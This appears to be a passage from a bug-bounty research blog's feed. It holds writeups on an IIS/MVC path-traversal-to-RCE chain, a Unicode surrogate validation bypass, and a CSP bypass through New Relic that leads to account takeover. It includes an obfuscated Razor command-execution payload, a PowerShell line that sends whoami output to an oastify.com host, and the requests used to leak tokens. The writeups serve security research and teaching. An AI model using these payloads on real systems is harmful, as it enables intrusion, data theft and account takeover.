
  &lt;!-- Prevent certain character sequences in a URL. ".." for example. --&gt;
  &lt;denyUrlSequences&gt;
	&lt;add sequence=".." /&gt;
  &lt;/denyUrlSequences&gt;

  &lt;!-- Only allow file extensions js and css (and . for empty file extension) --&gt;
  &lt;fileExtensions allowUnlisted="false"&gt;
	&lt;add allowed="true" fileExtension=".js" /&gt;
	&lt;add allowed="true" fileExtension=".css" /&gt;
	&lt;add allowed="true" fileExtension=".map" /&gt;
	&lt;add allowed="true" fileExtension=".less" /&gt;
	&lt;add allowed="true" fileExtension="." /&gt;  &lt;!-- Empty extension = no extension --&gt;
  &lt;/fileExtensions&gt;
&lt;/requestFiltering&gt;
&lt;/security&gt;
</code></pre></div></div>

<h2 id="iis-request-filtering-vs-internal-file-access">IIS Request Filtering vs. Internal File Access</h2>
<h3 id="flow-1-direct-file-requests-blocked-by-webconfig">Flow 1: Direct File Requests (BLOCKED by Web.config)</h3>

<blockquote>
  <p>[!info] Step 1: HTTP Request</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- GET /Views/Home/Index.cshtml
</code></pre></div>  </div>
  <p>↓</p>
</blockquote>

<blockquote>
  <p>[!warning] Step 2: IIS Request Filtering Module</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Checks fileExtensions whitelist
- .cshtml is NOT in whitelist
</code></pre></div>  </div>
  <p>↓</p>
</blockquote>

<blockquote>
  <p>[!failure] Step 3: BLOCKED!</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!failure] Step 4: 403.7 Forbidden</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- File extension denied
</code></pre></div>  </div>
</blockquote>

<h3 id="flow-2-mvc-view-engine-internal-access-not-blocked">Flow 2: MVC View Engine Internal Access (NOT BLOCKED)</h3>

<blockquote>
  <p>[!info] Step 1: HTTP Request</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- GET /Controller/Method
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 2: IIS Request Filtering Module</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- URL has empty extension (.)
- Empty extension IS in whitelist
- No ".." in URL
</code></pre></div>  </div>
</blockquote>

<p>ALLOWED - Passes to ASP.NET</p>

<p>↓</p>

<blockquote>
  <p>[!info] Step 3: MVC Routing</p>
</blockquote>

<ul>
  <li>Matches: {controller}/{action}</li>
  <li>Creates: ControllerController</li>
  <li>Calls: Method()
```</li>
</ul>

<p>↓</p>

<blockquote>
  <p>[!info] Step 4: Controller returns View()</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!warning] Step 5: View Engine (Internal File Access)</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- File.Exists() calls from w3wp.exe
- BYPASSES IIS Request Filtering!
- Can access ANY file extension
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 6: Check ~/Controller/Method.cshtml</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Step 7: File.Exists(‘C:\inetpub\wwwroot\App\Controller\Method.cshtml’)</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!success] Step 8: SUCCESS - File found!</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!danger] Step 9: Razor Engine Compiles and Executes</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Parses @{} code blocks
- Compiles to .NET assembly
- EXECUTES server-side code
</code></pre></div>  </div>
</blockquote>

<p><strong>Result</strong>: Remote Code Execution
View Engine can access ANY FILE on the file system, regardless of extension whitelist!</p>

<p><strong>IIS Request Filtering operates on HTTP REQUEST URLs</strong></p>
<ul>
  <li>Blocks: /Views/Home/Index.cshtml (URL ends with .cshtml)</li>
  <li>Allows: /Home/Index (URL has empty extension)</li>
</ul>

<p><strong>View Engine operates on INTERNAL FILE PATHS</strong></p>
<ul>
  <li>Uses: File.Exists(), File.ReadAllText() from .NET Framework</li>
  <li>Bypasses IIS entirely - it’s just .NET file I/O</li>
  <li>Can access ANY file the w3wp.exe process has permissions to read</li>
</ul>

<p><strong>Request Filtering ONLY protects against direct URL access</strong></p>
<ul>
  <li>Cannot protect against internal file operations</li>
  <li>Cannot protect against path traversal in application code</li>
  <li>Cannot protect against View Engine file discovery</li>
</ul>

<h2 id="why-this-security-gap-exists">Why This Security Gap Exists</h2>

<blockquote>
  <p>[!info] IIS Request Pipeline</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!info] Phase 1: IIS Native Modules (BEFORE ASP.NET)</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Request Filtering Module:
- Checks URL for blocked sequences ("..")
- Checks file extension whitelist
- Operates on HTTP REQUEST URL ONLY
</code></pre></div>  </div>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!question] Is request blocked?</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!failure] If YES: Return 403.7 error</p>
</blockquote>

<blockquote>
  <p>[!success] If NO: Continue to ASP.NET</p>
</blockquote>

<p>↓</p>

<blockquote>
  <p>[!warning] Phase 2: ASP.NET Managed Code (AFTER IIS Filtering)</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MVC Framework:
- Routing
- Controller execution
- View Engine file system access
</code></pre></div>  </div>
</blockquote>

<hr />
<h1 id="attack-path-traversal--view-engine-rce">Attack: Path Traversal + View Engine RCE</h1>
<p>In this section, we’ll examine a real-world scenario where path traversal grants file-write access, but with a catch: existing files cannot be overwritten. You’re free to create files of any type, yet the web server only serves specific extensions—meaning your .aspx or .cshtml files won’t be directly accessible or executed.</p>
<h3 id="step-1-store-payload">Step 1: Store payload</h3>

<p>In our scenario, we had the <code class="language-plaintext highlighter-rouge">/NoteEntry/UpdateNote</code> endpoint, which allowed storing notes in the application without any input sanitization. As a result, nothing prevented us from writing directly to the database. This is where we’ll store our .NET payload.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@{var c=System.Text.Encoding.ASCII.GetString(new byte[]{99,109,100,46,101,120,101});var k=System.Text.Encoding.ASCII.GetString(new byte[]{67,109,100});var a=System.Text.Encoding.ASCII.GetString(new byte[]{47,99,32})+Request.Headers[k];System.Diagnostics.Process.Start(c,a);}
</code></pre></div></div>

<h3 id="step-2-path-traversal-write">Step 2: Path Traversal Write</h3>

<p>We identified a POST endpoint at <code class="language-plaintext highlighter-rouge">/NotesReport/StartCreateReport</code> that accepts a FileName parameter — for example, <code class="language-plaintext highlighter-rouge">FileName=C:/inetpub/wwwroot/NotesReport.cshtml</code>. This endpoint generates a report based on stored notes (supporting filtering, so we can isolate just our note).
Below is a ProcMon capture taken during a request (prior to placing <code class="language-plaintext highlighter-rouge">NotesReport.cshtml</code> on disk), showing the moment the controller returns View() and the view engine begins resolving the view path.</p>

<p><img src="/research/articles/ArticleNo0007/image.png" alt="" /></p>

<p>To validate the ASP.NET MVC view resolution behavior, we observed the actual file system activity (via ProcMon) while the controller—located in the MVC area—executed return View().
Despite the controller residing in an Area named MVC, the Razor View Engine followed its standard search pattern across multiple conventions and extensions</p>

<p>This confirms the full, predictable search hierarchy—critical for placing our payload in a location the engine will eventually resolve.</p>

<h3 id="step-3-trigger-execution">Step 3: Trigger Execution</h3>

<blockquote>
  <p>[!info] GET /NotesReport</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /NotesReport HTTP/2
Host: redacted
Cmd: powershell -nop -c "iwr -useb http://oyq3xdzb4av5oszlrakgpdyvxm3dr6iu7.oastify.com/output?=$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((whoami))))"
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!info] IIS Request Filtering ALLOWS this because</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- URL has empty extension (.)
- No ".." in URL
- Matches MVC route pattern
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!info] View Engine Resolution</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	 [Searching for views...]
	 ✓ File.Exists("C:\inetpub\wwwroot\App\Controller\Method.cshtml")
	 ✓ FOUND!
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!info] Razor Engine EXECUTES the file:</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     - Parses @{...} code blocks
     - Compiles to .NET assembly
     - Executes: Process.Start("cmd.exe")
     - Remote Code Execution achieved!
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>[!warning] Why Web.config Doesn’t Stop This</p>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Path traversal happens in APPLICATION LOGIC, not in URL
2. Malicious file has valid extension (.cshtml) for View Engine
3. Request URL (/Controller/Method) passes all IIS filters
4. View Engine file access is INTERNAL, bypasses IIS filtering
5. File extension whitelist only applies to HTTP requests, not to internal File.Exists() calls from .NET code
</code></pre></div>  </div>
</blockquote>
]]></content:encoded>
    </item>
    
    <item>
      <title>Unicode surrogates conversion to (simplified) replacement characters</title>
      <link>https://lab.ctbb.show/research/unicode-surrogates-to-replacement-characters</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/unicode-surrogates-to-replacement-characters</guid>
      <pubDate>Mon, 10 Nov 2025 00:00:00 +0000</pubDate>
      <author>Krzysztof Balas</author>
      <description>A case for question-mark smuggle: using Unicode surrogates to bypass input validation with replacement character fallback.</description>
      <content:encoded><![CDATA[<p>Hello hackers. 👋</p>

<p><strong>TLDR</strong></p>

<p>I was able to bypass strong validation with unicode surrogates that some parsers treat as simple question mark - ?.</p>

<p>You can use probably any of low or high surrogates. I used: <code class="language-plaintext highlighter-rouge">\udc2a</code>.</p>

<hr />
<p><strong>Background</strong></p>

<p>There are some databases where using wildcard characters can pose security risks. There was an endpoint where I could get users data if I knew their: birthday, last name and zip code. For some reason it was unauthenticated functionality.</p>

<p>The body looked like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "birthdate": "2000-01-01",
  "lastname": "Doe",
  "zipcode": "1011A"
}
</code></pre></div></div>

<p>Response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
    "email": "john@doe.com",
    "accountNumber": "123456",
    "something": "more"
}
</code></pre></div></div>

<p>After finding first bug in this endpoint they fixed allowed characters and the fix was pretty good:</p>
<ul>
  <li>no special characters allowed</li>
  <li>no URL encoding allowed</li>
  <li>no unicode versions of special characters allowed</li>
</ul>

<p>Only some unicodes were allowed.</p>

<hr />
<p><strong>The bug</strong></p>

<p>2 months passed by after the fix…</p>

<p>I was riding my bike on my indoor bike trainer and watching some talk regarding unicode normalization bugs and I had this enlightenment moment - unicode truncation!</p>

<p>I jumped off my bike and played with the endpoint to cause error:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "birthdate": "2000-01-01",
  "lastname": "\uffff",
  "zipcode": "a"
}
</code></pre></div></div>
<p>Response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
    "errors": [{
        "message": "Received 503 status code [...] 
        GET http://internal.api/customers?zipcode=a&amp;birthdate=2000-01-01&amp;lastname=%EF%BF%BF"
    }]
}
</code></pre></div></div>

<p>Interesting. In this error you can see that unicode got translated into UTF-8. What if I could smuggle anything to hit the internal API with %3f character? Is there something like that even possible?</p>

<p>I opened shazzer <a href="https://shazzer.co.uk/unicode-table?fromTo=0x2a&amp;highlightsFromTo=">website</a> and started testing endpoint manually.
When I reached unicode surrogates I finally bypassed it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "birthdate": "2000-01-01",
  "lastname": "D\udc2a\udc2a",
  "zipCode": "1\udc2a\udc2a\udc2a\udc2a"
}
</code></pre></div></div>
<hr />
<p>Explanation:</p>

<p>It’s not unicode truncation but something different. UTF-8 parsers can’t properly display unicode surrogates (<a href="https://jrgraphix.net/r/Unicode/DC00-DFFF">https://jrgraphix.net/r/Unicode/DC00-DFFF</a>) which are often used in emojis with low and high surrogate pair.</p>

<p>All you get when you try to display them is unicode replacement character: <a href="https://www.compart.com/en/unicode/U+FFFD">https://www.compart.com/en/unicode/U+FFFD</a>.</p>

<p>Some parsers apparently go one step further and simplify replacement character to a question mark (?) and that’s why the vulnerability was caused.</p>

<p>From what I know I would name 2 databases where “?” can be used as a wildcard:</p>
<ul>
  <li>solr</li>
  <li>elasticsearch</li>
</ul>

<hr />
<p>Takeaways:</p>

<ul>
  <li>test for wildcards - there are plenty of them in various DBs</li>
  <li>if question mark is blocked and you need it in your chain - try unicode surrogates</li>
</ul>

<p>Although the bug was related to database systems I believe this trick can be useful in more places.</p>

<p>Good luck! Happy hacking.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Bypassing CSP with New Relic Custom Events</title>
      <link>https://lab.ctbb.show/writeups/bypassing-csp-new-relic-custom-events-cspt</link>
      <guid isPermaLink="true">https://lab.ctbb.show/writeups/bypassing-csp-new-relic-custom-events-cspt</guid>
      <pubDate>Fri, 31 Oct 2025 00:00:00 +0000</pubDate>
      <author>Justin Gardner</author>
      <description>One of my favorite bugs I&apos;ve ever found because of the sheer volume of unexpected solutions to chain-ending problems. The end result was an ATO!</description>
      <content:encoded><![CDATA[<p>This writeup outlines one of my favorite bugs I’ve ever found because of the sheer volume of unexpected solutions to chain-ending problems. The end result is ATO, and this was achieved by:</p>
<ol>
  <li>Hijacking the destination of a POST request with sensitive JSON body</li>
  <li>CSP was tight, so could only hit target domain or Sentry or New Relic</li>
  <li>Pointed POST Request at New Relic &amp; finessed authentication into my own New Relic Tenent</li>
  <li>Fetched the POST body from the New Relic Error logs via the NRQL API</li>
  <li>Swapped token for session cookie and achieved ATO</li>
</ol>

<p>Allow me to elaborate…</p>

<h2 id="tldr--takeaways">TLDR / Takeaways</h2>

<p>In strong CSP environments where you can hijack a POST-based, JSON fetch request, you can utilize New Relic’s <code class="language-plaintext highlighter-rouge">NrIntegrationError</code> object in the NRQL API to query arbitrary JSON sent to your New Relic URL to leak data out.</p>

<p>Via hijacked <code class="language-plaintext highlighter-rouge">fetch</code> request:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/v1/accounts/1337/events;Api-Key=YOUR_API_KEY</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">bam.eu01.nr-data.net</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="nl">"YOUR_RAW_JSON_DATA"</span><span class="p">:</span><span class="s2">"BUT THE LENGTH IS CAPPED AT 100 CHARS WHEN RETRIEVING THE DATA"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Resp:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> 
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">63</span>
<span class="na">content-type</span><span class="p">:</span> <span class="s">text/json; charset=utf-8</span>
<span class="na">nr-rate-limited</span><span class="p">:</span> <span class="s">allowed</span>
<span class="na">access-control-allow-methods</span><span class="p">:</span> <span class="s">GET, POST, PUT, HEAD, OPTIONS</span>
<span class="na">access-control-allow-credentials</span><span class="p">:</span> <span class="s">true</span>
<span class="na">access-control-allow-origin</span><span class="p">:</span> <span class="s">https://redacted.com</span>
<span class="na">x-served-by</span><span class="p">:</span> <span class="s">cache-ewr-kewr1740024-EWR</span>
<span class="na">date</span><span class="p">:</span> <span class="s">Thu, 02 Oct 2025 21:06:10 GMT</span>

{"success":true, "uuid":"57aa1df8-0001-bf20-8b48-0199a6bf2d7c"}
</code></pre></div></div>

<p>Then, the attacker can do the following from their machine:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="s1">'https://api.eu.newrelic.com/graphql'</span> <span class="se">\</span>
    <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
    <span class="nt">-H</span> <span class="s1">'Api-Key: {YOUR_NEW_RELIC_USER_API_KEY}'</span> <span class="se">\</span>
    <span class="nt">--data-raw</span> <span class="s1">'{"query":"{ actor { account(id: 1337) { nrql(query: \"SELECT payloadSample FROM NrIntegrationError LIMIT 1\") { results } } } }"}'</span>
</code></pre></div></div>
<p>Result:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"actor"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"account"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"nrql"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"results"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
                        </span><span class="nl">"payloadSample"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{</span><span class="se">\"</span><span class="s2">YOUR_RAW_JSON_DATA</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">BUT THE LENGTH IS CAPPED AT 100 CHARS"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="mi">1759439170940</span><span class="w">
                    </span><span class="p">}]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h2 id="the-vuln">The Vuln</h2>

<p>This vulnerability occured in the login flow of of a sensitive financial application.</p>

<p>The authentication URLs for this domain look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://auth.redacted.com/login?realm=%2Fcustomers&amp;goto=https%3A%2F%2Facc-data.redacted.com%2Fweb-authorize%3Fresponse_type%3Dcode%26client_id%3DclientIdForFinancial%26redirect_uri%3Dhttps%3A%2F%2Facc-data.redacted.com%2Fauth%2Fcallback%26scope%3Dopenid%2520iid%2520uci%2520profile%2520card.account&amp;channel=channel&amp;successMessage=false
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">goto</code> parameter controls where the <code class="language-plaintext highlighter-rouge">idsToken</code> will be sent in the following JS:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="p">,</span> <span class="nx">KM</span> <span class="o">=</span> <span class="k">async</span> <span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">t</span><span class="p">,</span> <span class="nx">r</span><span class="p">,</span> <span class="nx">n</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span>
      <span class="p">,</span> <span class="p">{</span><span class="na">url</span><span class="p">:</span> <span class="nx">o</span><span class="p">}</span> <span class="o">=</span> <span class="nx">In</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">wsLoginUrl</span><span class="dl">"</span><span class="p">);</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">i</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">goto</span><span class="dl">"</span><span class="p">))</span>
          <span class="p">,</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">ke</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">""</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">origin</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">pathname</span><span class="p">),</span> <span class="p">{</span>
            <span class="na">idsToken</span><span class="p">:</span> <span class="nx">t</span><span class="p">,</span>
            <span class="na">responseType</span><span class="p">:</span> <span class="dl">"</span><span class="s2">code</span><span class="dl">"</span><span class="p">,</span>
            <span class="na">clientId</span><span class="p">:</span> <span class="nx">a</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">client_id</span><span class="dl">"</span><span class="p">),</span>
            <span class="na">scope</span><span class="p">:</span> <span class="nx">a</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">scope</span><span class="dl">"</span><span class="p">),</span>
            <span class="na">redirectUri</span><span class="p">:</span> <span class="nx">a</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">redirect_uri</span><span class="dl">"</span><span class="p">)</span>
        <span class="p">},</span> <span class="p">{</span>
            <span class="na">withCredentials</span><span class="p">:</span> <span class="o">!</span><span class="mi">0</span>
        <span class="p">});</span>
        <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">GM</span><span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">callbackURL</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">r</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">login</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">const</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="dl">""</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="dl">"</span><span class="s2">authapp-error</span><span class="dl">"</span><span class="p">));</span>
            <span class="k">typeof</span> <span class="nx">n</span> <span class="o">&lt;</span> <span class="dl">"</span><span class="s2">u</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span> <span class="o">!==</span> <span class="nx">pe</span><span class="p">.</span><span class="nx">SITE</span> <span class="o">&amp;&amp;</span> <span class="nx">s</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">"</span><span class="s2">channel</span><span class="dl">"</span><span class="p">,</span> <span class="nx">ZM</span><span class="p">[</span><span class="nx">n</span><span class="p">]),</span>
            <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">s</span><span class="p">.</span><span class="nx">toString</span><span class="p">()</span>
        <span class="p">}</span> <span class="k">else</span>
            <span class="nx">i</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">"</span><span class="s2">successMessage</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">true</span><span class="dl">"</span><span class="p">),</span>
            <span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/login?</span><span class="dl">"</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">i</span><span class="p">.</span><span class="nx">toString</span><span class="p">()))</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here we can see that the <code class="language-plaintext highlighter-rouge">idsToken</code> is sent via a POST HTTP request to the attacker defined <code class="language-plaintext highlighter-rouge">a.origin</code> and <code class="language-plaintext highlighter-rouge">a.pathname</code> which originated from <code class="language-plaintext highlighter-rouge">i.get("goto")</code> which was pulled from <code class="language-plaintext highlighter-rouge">const i = new URLSearchParams(e)</code>, where <code class="language-plaintext highlighter-rouge">e</code> is <code class="language-plaintext highlighter-rouge">window.location.href</code> from the previous function in the call stack.</p>

<p>This is deceptively simple, and it looks like you could simply insert an attacker domain in the <code class="language-plaintext highlighter-rouge">goto</code> parameter and you’d be good to go. However, there is a problem:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>connect-src: https://auth-data.redacted.com, https://acc-data.redacted.com, 'self', https://bam.eu01.nr-data.net, https://o40991.ingest.sentry.io, https://acc-auth.redacted.com
</code></pre></div></div>
<p>The CSP’s connect-src was extremely strict - allowing only a few domains, <code class="language-plaintext highlighter-rouge">bam.eu01.nr-data.net</code> and <code class="language-plaintext highlighter-rouge">o40991.ingest.sentry.io</code>.</p>

<p>This begged the question: <code class="language-plaintext highlighter-rouge">Is it possible to send arbitrary data to one of these two hosts and retrieve it via the UI?</code></p>

<p>I thought the chances of this were pretty good given the fact that these companies (New Relic and Sentry) both specialize gathering data - so it was feasible that they might be logging arbitrary data sent to endpoints. I started with sentry, but quickly hit a wall. I then pivoted to New Relic.</p>

<p>In New Relic, it is possible to create <a href="https://docs.newrelic.com/docs/data-apis/ingest-apis/event-api/introduction-event-api/">custom events</a>:</p>

<p>However, the location one is supposed to send these custom events to is different then the above <code class="language-plaintext highlighter-rouge">bam</code> url:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://insights-collector.newrelic.com/v1/accounts/YOUR_ACCOUNT_ID/events
</code></pre></div></div>

<p>However, I tried the <code class="language-plaintext highlighter-rouge">/v1/accounts/YOUR_ACCOUNT_ID/events</code> path on <code class="language-plaintext highlighter-rouge">bam.eu01.nr-data.net</code> and it suspiciously didn’t return a 404, it returned a 401. This lead me to believe that I could hit the API on this endpoint.</p>

<p>The next challenge came when I tried to sub in my test ACCOUNT_ID - 403 forbidden. I needed to authenticate - however, the docs said that this must be done via a HTTP Header that I didn’t control:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gzip -c example_events.json | curl -X POST -H "Content-Type: application/json" \
-H "Api-Key: YOUR_LICENSE_KEY" -H "Content-Encoding: gzip" \
https://insights-collector.newrelic.com/v1/accounts/YOUR_ACCOUNT_ID/events --data-binary @-
</code></pre></div></div>

<p>Miraculously, there are other spots within the New Relic infrastructure that <code class="language-plaintext highlighter-rouge">Api-Key</code> could be used in the query parameter to authenticate. So, crafting the URL:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://bam.eu01.nr-data.net/v1/accounts/1337/events?Api-Key=MY_API_KEY
</code></pre></div></div>
<p>Allowed me to send events to the <code class="language-plaintext highlighter-rouge">custom events</code> API in New Relic.</p>

<p>But, there is another catch - I didn’t control query parameters. You remember from the code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="kd">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">i</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">goto</span><span class="dl">"</span><span class="p">))</span>
        <span class="p">,</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">ke</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">""</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">origin</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">pathname</span><span class="p">),</span> <span class="p">{</span>
</code></pre></div></div>
<p>Only the <code class="language-plaintext highlighter-rouge">a.origin</code> and <code class="language-plaintext highlighter-rouge">a.pathname</code> are being passed.</p>

<p>At this point I felt like it was a deadend. But, in a moment of optimism I tried:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://bam.eu01.nr-data.net/v1/accounts/1337/events%3fApi-Key=MY_API_KEY
</code></pre></div></div>
<p><strong>AND IT WORKED.</strong> Actually…</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://bam.eu01.nr-data.net/v1/accounts/1337/eventsApi-Key=MY_API_KEY
</code></pre></div></div>
<p>works too. I have no idea why - it is one of the weirdest things I’ve ever seen in my 15+ years of hacking.</p>

<p>But, using this, I was able to authenticate into the <code class="language-plaintext highlighter-rouge">custom events</code> API and get my POST request body ingested by New Relic.</p>

<p>The request sent by the browser after authentication into the app looks like this:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/v1/accounts/1337/eventsApi-Key=MY_API_KEY</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">bam.eu01.nr-data.net</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">298</span>
<span class="na">sec-ch-ua-platform</span><span class="p">:</span> <span class="s">"Windows"</span>
